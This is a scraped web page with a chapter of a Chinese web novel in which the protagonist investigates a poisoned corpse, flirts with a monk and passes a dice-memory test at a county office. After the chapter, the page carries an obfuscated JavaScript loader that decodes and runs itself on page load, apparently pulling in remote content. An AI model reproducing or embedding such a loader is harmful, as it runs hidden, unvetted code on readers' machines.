返回

满级大佬误入无限游戏后

首页
关灯
护眼
字体:
330 驯化11
夜深的时候,月上柳梢头。

林县令穿着常服,站在紧闭的房门前犹豫了片刻,最终还是敲响了房门,“夫人,你休息了没?”

他话音刚落,点燃的烛火忽然熄灭,原本透亮的房间里瞬间显然漆黑。

林县令喉咙干涩,他尴尬地站在原地:“既然夫人已经歇息了,那我就不打扰了,你好好休息,好好休息。”

脚步声渐行渐远,直到林县令的身影消失在了视线的尽头,瘦嬷嬷才压低声音道:“仙姑,干得漂亮!”

“像这种人渣,就应该这样对待他,让他不知好歹。活该,呸!瞧他现在这副样子,真解气!”

百里辛:“。”

他每次都为瘦嬷嬷的共情能力感到惊讶。

“咳咳,那个,嬷嬷,”百里辛揉了揉眉心,“你也出去吧,我要休息了,我晚上觉浅,不要过来打扰我。”

瘦嬷嬷不疑有他,“哎”了一声就离开了。

经过短暂的三天相处,她已经完全被仙姑高端的宅斗能力所折服了。

等确认瘦嬷嬷走远,百里辛才从床上起来。

他换了一身夜行衣,关紧房门后趁着夜色跳出了围墙。

尸体被送到了义庄,今天在衙门听那些人之间的对话,百里辛猜测这具尸体很有可能还没有发生异化。

按照他们的说法,师爷昨天还在衙门工作。

如果是死的话,他最早也是昨天晚上死亡的。

而不管是卷宗还是宋小姐的异化来看,尸体在异化中间最少会间隔一天。

如果今晚运气好的话,他应该会见到师爷的身体异化。

在来到青城镇的第一天我就在瘦嬷嬷的引领下把青城镇逛了个遍,知道了建筑物的方位之后,现在找起来也简单。

他选了一条最近的路,只需要穿过几条胡同和一段桥就可以抵达义庄。

就在百里辛走到桥下的时候,他渐渐放缓了步子。

这座桥是他那天早晨成亲的时候路过的桥,桥上的一颗巨大柳树十分显眼,是其他几个桥上所没有的是。

青城镇这个镇子,中间刚好有一条河从中间穿过。

或者更准确地说,这个镇子之所以形成,很大的原因是这条河。

河水给镇民提供了最初的资源,后来聚集的人多了,也就渐渐变成了镇子。

这条河是青城镇的母亲河,叫做青城河。

青城河东西横跨整个镇子,镇子里几个主干道上也就有一座座的桥。

百里辛之所以停下脚步,并不是为了欣赏这棵独一无二的柳树,而是因为此时的桥上,站了一个人。

那人穿着一身红衣,手上举着一柄白色油纸伞,和当年阻拦自己婚轿的那人穿着一样。

红衣看着样式像是女装,那人低头俯视着水面,百里辛只能看到她的侧脸,对于她的正脸看不真切。

对于百里辛的靠近,她好像并没有什么察觉,只是专注地看着水面。

“你是谁?”百里辛一步步靠近,一边走一边问道。

那人却好像没有听见,只是低头看着水面。

百里辛眼眸微黯,他又上前了一步,终于走到了桥面上。

与此同时,他却看到那人张开嘴无声地喃喃了一句,接着双手撑着桥梁,就要跳下去。

百里辛微愕,赶紧伸手去抓那人,可手指碰到对方身体的瞬间手掌却直接穿过去抓了个空。

女人就这么在百里辛面前纵身一跃,跳进了河水里。

百里辛赶紧低头看去,就见红衣女人一头扎进水里。

水面一点声响也没有,水面也没什么水花。女人进入了漆黑的河水中后立刻失去了踪影,月光下波光粼粼的水面中,只有一柄白色的伞飘在上面。

百里辛又低头朝着水面看了一会儿,隐约间,他好像看见漆黑的水面中似乎闪过一条细长的红尾。

百里辛眨了一下眼睛,红尾已经消失不见了。

那柄白伞在水面上漂了一会儿,飘到了河岸上。

百里辛从桥上拐了个弯,等他走到伞停留的地方时却发现那把伞已经消失了,只是地面上多了一个不起眼的蒲公英花朵。

百里辛捏起蒲公英的白色毛绒种子,若有所思地看了两秒,才将它重新放在土壤中,转身离开。

如果他刚才没有看错的话,刚才那个女子的口型,好像是“我要回家”这几个字。

一段小小的插曲过后,百里辛按照原计划来到了义庄中。

义庄很好找,紧闭的漆黑大门上悬挂着一个白色的绸带,大门的两侧还悬挂着两个白色灯笼。

不过这两个白灯笼只是挂在那里,里面并没有燃烧的蜡烛。

门是上锁的,百里辛轻轻一跃就从后门位置跳上了墙壁,又悄无声息地跳进了院子里。

义庄的院子里也是黑漆漆的,地上全是杂乱的枯草,角落里还随意堆放着一些草席子。

总之看起来乱七八糟的样子。

尸体并没有摆放在院子里,那就是摆在屋子里了。

百里辛走到简陋的茅草屋门前试着推了推门,门没有上锁,立刻就被推开了。

隔着门框的时候,他就闻到了一股尸体特有的臭味,现在门打开,那股恶臭味更加明显。

房间里摆放的尸体不多,只有六具。

他依次掀开白布找了找,很快找到了白天看到的那具师爷尸体。

师爷的尸体好好地躺在上面,并没有要发作的意思。

s419:【宿主大人,我害怕。】

逃生系统:【百里辛大人,我也害怕。】

百里辛默默翻了个白眼,索性掀开白布,认真观察起了这具尸体。

白天在堂上只是粗略看了一眼,并没有仔细看,很多细节他都没看清楚。

从背包中取出手电筒,百里辛打到最弱的档位后将光打到了尸体上。

眼底乌青,扒开眼皮,红色血丝狰狞,瞳孔涣散,眼瞳有些肿大。

看完眼睛,百里辛又往下看。

鼻子里有些泥沙状的物质,应该河水里的泥沙。

手电筒的灯光很快落到了师爷的嘴部。

嘴角附着的黑色粘稠物质已经结痂了,百里辛伸手捏住嘴两边的关节,轻轻用力原本紧闭的嘴巴就被打开。

手电筒照进嘴巴里,嘴里一片黑漆漆的,但并没有和宋小姐一样的恶臭味道。

他将手伸进嘴里摸了摸,除了掏出了一把黑色粘稠物质外,什么都没找到。

这黑东西黏黏糊糊的,也不知道到底是什么。

阖上师爷的嘴巴,百里辛继续向下观察。

按照衙门的说法,师爷的尸体是在河边发现的,初步推测应该是溺亡。

经过了一天的风干时间,师爷身上的衣服差不多干透了。百里辛手放在衣服上,在师爷的衣服上摸了摸,当摸到一处地方时,忽然停下了动作。

s419:【怎么了,宿主大人?】

百里辛打着手电筒照过去,师爷腰带有一处很明显的裂口,裂口整齐,不像是被河水里石头磨出来的,正要说的话,看样子更像是用利器切开的。

百里辛又很快观察了师爷身上其他的衣服细节,除了这处地方,全都是崭新的。

眉头微微皱了皱,百里辛的视线落到了师爷的手掌上。

他的手掌上也是沾着黑漆漆的东西,百里辛一一扫过十个指缝,从其中某个指缝里发现了一根丝状的东西,另外其他手心里也有些微木屑的存在。

等到将师爷的尸体全都看了一遍,百里辛才重新用白布将师爷的尸体盖好。

s419:【宿主大人,您有什么发现吗?】

【有发现,我们可以离开了,今晚不会有尸体异化。】

s419不解:【为什么?】

百里辛:【因为这具尸体有问题,如果我没有推断错,他应该是被人杀害后伪装成了鬼祟作怪的样子,这是一起他杀案件,有凶手。】

s419更不解了:【您是怎么确定的?】

百里辛:【他的眼底青紫,眼睛充血,这是中毒的迹象。他的嘴里填满了大量的黑色粘稠物质,刚才我抓他的舌头看了一下,舌苔青紫,正好验证了我对中毒的猜测。如果没猜错的话,应该是□□之类的毒。】

【凶手应该对这些鬼祟尸体很熟悉,所以伪造得很像。特别是嘴部,一团黏稠的黑泥刚好掩盖住了中毒的罪证。】

【他的腰带被人切开,身体却没有打斗的痕迹,看样子应该是熟人作案。而独独腰带被切开,很有可能是那个位置之前可能装了什么东西。】

s419:【是什么东西?】

百里辛:【不知道,已经被取走了。】

s419:【那您对凶手还有其他线索吗?除了熟人之外的线索。】

【有。】百里辛盖好白布,抬脚准备离开,就在他视线看向门口的瞬间,脚步倏然顿住。

原本空空荡荡的大门前,不知何时站着了一个男人。

那人皮肤黝黑,年纪很大,沟壑皮肤皲开,一只手撑着拐杖,一只手背在身后佝偻着背面无表情地看向百里辛。

不出意外地,脑海中立刻传来了两个统的尖叫声。

百里辛揉了揉眉心,压下最开始的惊诧,谨慎地看向对面的老头。

就在他思考要和老头说点什么的时候,老头伸出拐杖在地上试探了两下后走了进来。

他走得很慢,走的过程中还会伸出手在半空中触摸。

百里辛愣了一下,他视线落到对方浑浊的双眼中,这才发现对方是个盲人。

暗暗松了口气,百里辛小心翼翼脚点着地面,轻轻走到一边,努力不让自己发出一点声音。

老头应该是来巡逻的。

就在百里辛快走到门口的时候,老头忽然转身,他用拐杖指着百里辛的方向,低声怒喝道:“谁在那儿?!”

百里辛看了眼近在咫尺的门,又看了一眼站在最里边的老头,一不做二不休,干脆直接窜出门口,几个起落就消失在了黑暗中。

s419:【???这和话本上写的不一样!】

百里辛:【啊?什么不一样?】

s419:【按照话本上的说法,这女主角夜探密室必定被发现,被发现后毕竟别抓,被抓的时候必定会有男主人公英雄救美。你这不行啊宿主大人,你刚才就应该和老头对峙一番,然后老头喊人,你仓皇逃窜,接着就是主神大人横空出世,英雄救美。你这什么事情都自己干了,把男主角的活儿都干了,你让男主人公怎么出场啊?活该你到现在还没拿下和尚。】

百里辛:【……】

你话可真多!

【谁说男主角没登场?今天下午帮我在桥上解围的,不就是我老攻吗?你就是嫉妒我,嫉妒我有人疼。】

s419:【我嫉妒你?你有统妹哎,我会嫉妒你?你也不看看你那老攻,三天两头就切片,都快碎成流星了,我嫉妒你什么?】

百里辛:【……】

淦啊,我不干了。(╯‵□′)╯︵┻━┻

百里辛回去的时候,又路过了那座长着柳树的桥,此时桥上空荡荡的,再没有一个人。

他站在桥边,脑海中浮现起刚才那个红衣女人的声音。

刚才那个女人就是站在这里,双手抓着桥梁一跃而下。

百里辛来到那个女人站着的地方,他双手抓着桥梁,借助双臂的力道将身体撑起来,目光探下桥,想再看看下面有什么。

就在他的身子快要探出一半的时候,自己的腰忽然被一股力道抓住,下一秒自己的身体就陷入了一具坚硬的怀中,细细嗅闻的话,还能闻到一阵莲花清香。

百里辛愣了一下,赶紧假装自己被吓到,反手用力搂住了对方的腰。

和尚身体僵硬一瞬,压抑着声音低声道:“松手,你干什么。”

松手?

你说松我就松,岂不是太没面子了?

百里辛手抱得更紧了,一边抱还一边往和尚的怀里钻,“大师,还好你来得及时,刚才吓死我了。”

和尚一手撑着法杖,眼神复杂地看着这只躁动的狐狸精,“。”

他立在一边,任由青年抱着,心中默念着阿弥陀佛。

忽然间,和尚脸色微变,一边推开了青年,“你干什么?”

青年不好意思地收回手,“没干什么,就是揣了揣爪爪。毕竟我是狐狸嘛,动物本能,动物本能。”

和尚:“……”

你那是揣爪吗?你是把手往我衣服里钻!

__________________________

直播间。

【《揣爪爪》】

【他有什么错,他只是一只可爱的狐狸,一只手脚冰冷,需要揣爪爪的狐狸而已。】

【和尚,我劝你不要不识抬举。你以为你揣的是一只普通的狐狸吗?那可是三十万少男少女的梦!】

【今天这和尚多少有点不知好歹了。求辛神一定要让他接受社会的鞭打,让他认清现实。】

【今日最佳:辛神】

【今日最差:和尚】

__________________________

“你刚才为什么要跳河?莫非是魇住了?”和尚向后退了两步,拉远了几分彼此的距离,他认真打量着对面的青年,确定青年并没有中邪的迹象后才稍稍松了口气。

奇怪,我为什么要松口气?

百里辛朝着桥看了一眼:“啊,那个啊……也不是跳河,我刚才从这里走的时候看到了之前那个红衣白伞,她刚才又从桥上跳下去了。我就想看看她跳下去的地方有什么东西而已,我刚才还是我自己,能够控制我自己的身体,呵呵,呵呵。”

“……”和尚顿了顿,“那你刚才扑到我怀里,说什么吓死了干什么?”

百里辛搓了搓手,“那你忽然出现,还像流氓一样把我抱在怀里,我当然会吓一跳了。我这么个黄花大少爷,也不是谁都能摸一下的。”

和尚呼吸一滞:“……”

我就是谁都可以摸的吗?!

阿弥陀佛,阿弥陀佛,我是出家人,我要六根清净,我不可被这只狐狸精牵着鼻子走,阿弥陀佛。

“对了,今天下午多谢你。”对面青年的声音将和尚的思绪拉回到了现实,“谢谢你变成酒鬼帮我解围。要不然我真不知道要怎么处理那碗神仙肉。”

和尚愣了一下,“只是举手之劳。”

“于你而言是举手之劳,对我而言说不定是救命之恩,这个恩情我是一定要报答你的。”青年表情异常认真。

和尚:“施主,不必如此。”

百里辛:“一定要的,要不然这件事情会在我心里成为魔障,萦绕于心,我今后的修为恐难再有精进。”

和尚无法,“那你想怎么报答我?”

百里辛:“我娘说过,救命之恩,当以身相许。和尚,我以身相许吧。”

和尚手指倏然用力,手中的佛珠顿时断开,四散在空中。

他瞠目结舌地看着对面的男狐狸,“使不得!”

青年眼底忽然染上失落:“你是嫌弃我吗?嫌弃我是只妖精?还是嫌弃我是公的?我比普通的男人要强的,我会扭腰,还会摇尾巴,我的尾巴还毛茸茸的,很好摸的。”

和尚脸色涨红,他仓皇地向后退了两步,就听对面的青年继续开口:“我以为和尚你对我也有几分意思,如果没有,你为什么会一直暗中保护我?每次在我遇到危险的时候都能及时出手相助?”

“我不是,我没有,”梵迦有些手忙脚乱地辩解道,“我只是觉得你一身修为毁了可惜。”

“这世间有那么多妖修,这些妖修里面比我道行高、比我走上邪路的多了去了,你怎么不去惋惜他们?”

“承认吧,你明明就是放不下我。你放不下的,只有我一只狐狸而已。你嘴上说着没有,实际上你早就动心了,你就是喜欢上我了。”

梵迦手里握着的法杖忽然开始战栗起来,清脆的铃声在这片空旷的夜空中十分突兀。

“阿弥陀佛,施主,我听不懂你在说什么,”梵迦脸颊有些红色,他低着头不敢拿正眼看百里辛,“我先走了,告辞。”

说罢,他手中法杖一敲,顿时化成无数花瓣,四散离开。

百里辛盯着那些飘远的花瓣看了好一会儿,才收回目光脚步轻快地往回走。

s419:【宿主大人,您都这么主动了,这主神这次这么不解风情,太不知好歹了。】

百里辛:【你懂什么?他在遇到我之前,肯定是一个一心向佛的好佛修。我就喜欢这种你追我赶的小情趣,他逃,我追,他插翅难飞。】

s419:【宿主大人,你……小心翻车。】

百里辛:【他可是和尚,怎么可能会翻车。】

s419:【……】

你自己老攻什么熊样,你自己心里没点数吗?一团水都能上,更何况现在比谁还高级一点。

算了,它永远也叫不醒一个装睡的人,这就是传说中的恋爱脑吗?

______________________

直播间。

【那可是以身相许啊!和尚竟然逃了?!啊啊啊啊,我不依,我不依!】

【笑死了,给我传下去,辛神欲求不满,把自己老攻吓跑了。】

【《以身相许》《欲求不满》】

_______________________

次日,一名青年站到了衙门前,敲响了衙门的后门。

他只是站在那里,就引起了周围人纷纷驻足回头。

青年穿了一身鹅黄锦缎长袍,袖口和袍子下面绣着白色的暗纹,不张扬,却又十足地贵气。

他头戴玉冠,手持一柄折扇,腰间左右各佩戴着一枚圆形玉佩,举手投足间贵不可言。

然而他的穿着和他的脸相比,简直不值一提。

青年五官俊美昳丽,仿佛从画中走出来的一般。

过路人纷纷驻足,无不为这俊美的容颜倾心。

大门敲了一下就被敲开了,开门的是府衙内负责打扫的下人,他看到青年的时候顿了两秒,才找回自己的魂儿来:“公子,您是找谁?”

青年嘴角带着如沐春风般的微笑:“在下百里辛,是大人让我来的。”

“哦,我知道我知道,”下人立刻恍然大悟,“公子您就是大人说的那位负责师爷的先生吧,快快请进。”

百里辛:“大人在吗?”

下人又偷偷朝着百里辛看了两眼:“大人在的,我这就带您去见他,请跟我来。”

说着下人带着百里辛在后院穿行一会儿,来到了书房。

房门紧闭的书房中还能听到对话声。

“县令大人,色字头上一把刀,您不能听女人的耳旁风啊,会误事的!那是一个什么都不懂的书生,怎么可能一来就能接受师爷的任务?”

“我弟弟不一样,我弟弟不仅饱读诗书,我在家的时候还会经常与他讲一下案子,他对我们衙门的事情多少有些了解,能更容易上手,不会给您添麻烦。”

林县令:“你都没见过他,怎么知道他干不好?而且我已经答应夫人了,我意已决,就他了。”

张彪的声音有些气急,“大人,您三思啊,我没见过他,您就见过他吗?”

“现在你不就见到了?”在下人震惊的目光中,百里辛一把推开门走了进去。

里面的交谈声戛然而止,两道目光齐刷刷看过来。

百里辛朝着案几后面的握拳微微弯腰,“草民百里辛拜见大人。”

林县令压下眼中的惊艳:“你就是百里辛?和你姐姐长得倒是有几分相像,难怪你姐姐说看到你就能一眼认出你来,妙,妙啊。”

“我和表姐确实长得有七八分相似,不过姐姐更柔美,别人乍一见我们,都以为我们才是亲姐弟。因为我二人年龄相仿,又长得很像,所以我们姐弟两个虽然是远房,但关系自幼极好,比寻常的有些亲姐弟关系都要好。”

“奥奥,原来如此。”林县令一个劲儿点头,脑海中再次想起昨天和大姨娘口不择言的揣测,心里又觉得堵得慌,“你如果和你姐姐关系那么好,一定知道你姐姐喜欢什么吧?”

百里辛表情认真地看了林县令一眼:“姐夫这么问,难不成是惹姐姐生气了,想要讨姐姐欢心?”

“是啊!”林县令一拍桌子站起来,“难怪你姐姐说你聪明,你果然聪慧过人。太好了,你快说说,你还有什么本事?”

“别的本事没有,”百里辛微微一笑,目光扫过目光审视的张彪,“过目不忘的本事倒是还会一点。”

“过目不忘?这个本事好啊。”林县令笑开了花,“你来了就好了,你先小坐一下,等下我就找人给你介绍介绍师爷的工作。我们这儿师爷少一天都不行,你能及时赶来太好了,真是解了我的燃眉之急。”

“姐姐平日里对我极好,既然姐姐开了口,我自然是义不容辞。”

张彪狐疑地打量着百里辛:“你真有过目不忘的本领?”

百里辛:“自然。”

张彪:“那我可以考考你吗?”

百里辛:“怎么考?”

张彪从袖口里取出了三枚色子,“我这筛子耍十次,你若是能将这十次的点数都记住,分别说出来,我便心服口服。”

百里辛看了看好胜心极强的张彪,又看向林县令,“大人,我可以玩吗?”

林县令瞬间喜笑颜开:“当然可以。”

他远远地看着这个小舅子,是越看越喜欢。

不仅人长得好,还特别尊重他。

张彪仗着自己巡捕了得时常不将他放在心上,为所欲为。

刚才更是连问都不问就要和小舅子笔试。

最后还是小舅子给足了自己面子,不仅叫自己一声“大人”,还会问一下自己的意见。

试问这样的人,谁不喜欢?

难怪夫人喜欢她这个弟弟,自己也喜欢啊。

哎,又想到了夫人。

昨天看来真是伤透了她的心了。

这可如何是好?

比试开始,张彪从桌上随便拿了一个杯子当色子罩,就这么虎虎生风地耍了起来。

每次色子打开,只有一息的功夫可以看。张彪也记不清这么多次数的色子数,就要带着百里辛过来的下人负责在旁边计数。

张彪一边耍着色子,一边观察着面前的青年。

只见青年每次只是随意地那么一瞥,也没有认真看,看样子不像是在认真对待比赛,更像是在玩乐取闹。

张彪看到他那副样子,越发生气,手中的色子在他手里如同天女散花一般。

很快,十次结束,张彪冷漠地看着百里辛:“十次,请说答案吧,先生。如果你能说出来,那我就相信你所说的过目不忘,从此心服口服,绝对不再质疑你。可如果你说不对,那我绝不同意你留在这里。”

林县令重重拍了一下桌子,“张彪,你别太过分了,这衙门还是我说了算的!”

张彪抿唇:“那我走?”

林县令瞬间哽住,“。”

张彪走了,谁来破案?!

他就是拿捏准了自己的衙门离不开他,才这么嚣张跋扈!

能在自己面前这么嚣张的,也就这个张彪了!

“好,一言既出,驷马难追。”百里辛也不含糊,随手抓起杯子,手腕在半空中舞了一下瞬间把色子收进了茶杯中。

他的手法不如张彪老练花哨,但却十分好看。

张彪看到他的动作后微愣,不过眨眼工夫,他就见青年将杯子扣在了桌子上。

只听青年懒懒开口:“看好了,这是第一次的点数。”

说话间,茶杯打开,露出了里面的三个色子。

张彪赶紧从下人手里夺过记录的本子核对。

一、四、五,不仅数字分毫不差,连色子摆放的位置都没有区别!

张彪瞬间愣在当场。

计数不难,摇色子也不难。

可将色子摇到和数分毫不差,这哪儿是书生啊,这他妈是赌神吧?!

这水平就连自己都做不到啊!

张彪看向百里辛的目光已经从最开始的鄙夷变成了欣赏。

他决定了,不管百里辛后边的能不能对,他都认可他了!

就凭他记住了第一组数字,还会摇色子,还能将色子摇得分毫不差这一点,这个兄弟他张彪交定了!

林县令也凑上来,看出了张彪的眼神。

他是个人精,立刻打圆场,“百里辛啊,只让你计数,你这怎么还把色子还原出来了?你这可把难度提升了不是一点半点啊。这水平,能够做到一次都不容易,我觉得已经可以了,张彪,要不就这么算了。”

张彪正准备点头,就见青年再次举起了杯子,将色子摇了进去。

手腕如蝴蝶飞舞,在场的几人看得眼花缭乱时,茶杯再次落桌。

青年再次懒洋洋开口:“这是第二组色子,请看。”

茶杯掀开,又和记录得分毫不差。

点数分毫不差,位置分毫不差。

张彪瞠目结舌,彻底服了。

但青年却意犹未尽,接下来的时间里,仿佛成了青年的一场秀。

一次次地将色子摇起来,一次次地落下打开。

张彪的眼神渐渐从欣赏到了震撼,又到了钦佩。

十次,一次都没出错,完美复盘了张彪的色子。

第十次结束,张彪恭敬地朝着百里辛抱拳行礼,“先生,刚才是我失礼了。县衙有你的加入,说我们县衙荣幸!”

______________________

直播间。

【叮!恭喜辛神,成功收服小弟一枚。】

【辛神这一招,别说能上收服张彪,他往各大场上一座,那都是瞩目的焦点。】

【我宣布,辛神这个逼被他装到了。别人考试100分是因为他的能力只有100分,辛神考100分是因为卷面分只有100分,辛神不仅会拿这100分,还会自己给自己加附加分。】

【哈哈哈,辛神威武。】

_____________________

“先生,这里就是平时办公的地方了。”张彪打开一扇房门走进去,“我们这些捕快是粗人,哥几个就在隔壁的房间里乱窜,您如果有什么需要,尽管喊我就行,对了,我叫张彪,先生。”

“张捕头,”百里辛朝着对方抱拳行了一礼,“失敬失敬。”

“我们两个也算是不打不相识,你也别怪我当时对你这么有敌意,我就怕大人脑子一犯浑,找了个浑水摸鱼的人过来,半点不顶事儿不说还要给我们添堵。不过看到先生的才能,我已经彻底放心了。我张彪是个粗人,我若是看不顺眼,会当着面说出来,但我既然认你,就不会再在背后坑害你。”

“先生尽管放心。也请先生不要将我之前的话放在心上。”

“我没放在心上,都是为了衙门,我们两人素不相识,能有什么仇怨,我懂的。”百里辛说着走了进去。

师爷的房间比县太爷的书房还要大一些,书房里面摆满了书架,书架上一摞摞的书籍摆放在上面。

“这个书架上摆的是近两年的卷宗,两年前的卷宗被我们收进了库房里封存了起来。”看到百里辛的目光,张彪立刻解释道。

百里辛收回视线,目光落到了摆满了卷宗和纸张的乱糟糟书案上,“我需要做什么?张捕头。”

张彪:“最近的尸体异化事件,百里师爷听过吗?”

这就成师爷了?

百里辛轻咳一声:“这事儿闹得满城风雨,我想不知道都难。”

张彪:“知道就好,最近我们一直在忙这一个案子,但师爷不光是忙这一个案子,除了这个离奇命案,县城里平时少不了大大小小的案子。小到谁家的鸡被偷了,大到谁家人被杀了,这些案子都需要师爷在旁记录线索。”

“可以说,有些案件细节,我们未必记得,师爷都会记得。”

百里辛认真点了点头:“我懂了,给我一天时间,我会把所有卷宗全都看一遍,把所有的案件全都记住,这样你们如果又想知道的案件细节,就可以都来问我。”

张彪眼神猛地一亮:“先生,你懂我!我话只说了三分,你就能懂十分,你真的很聪慧!比我那个弟弟强多了!”:,,


上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();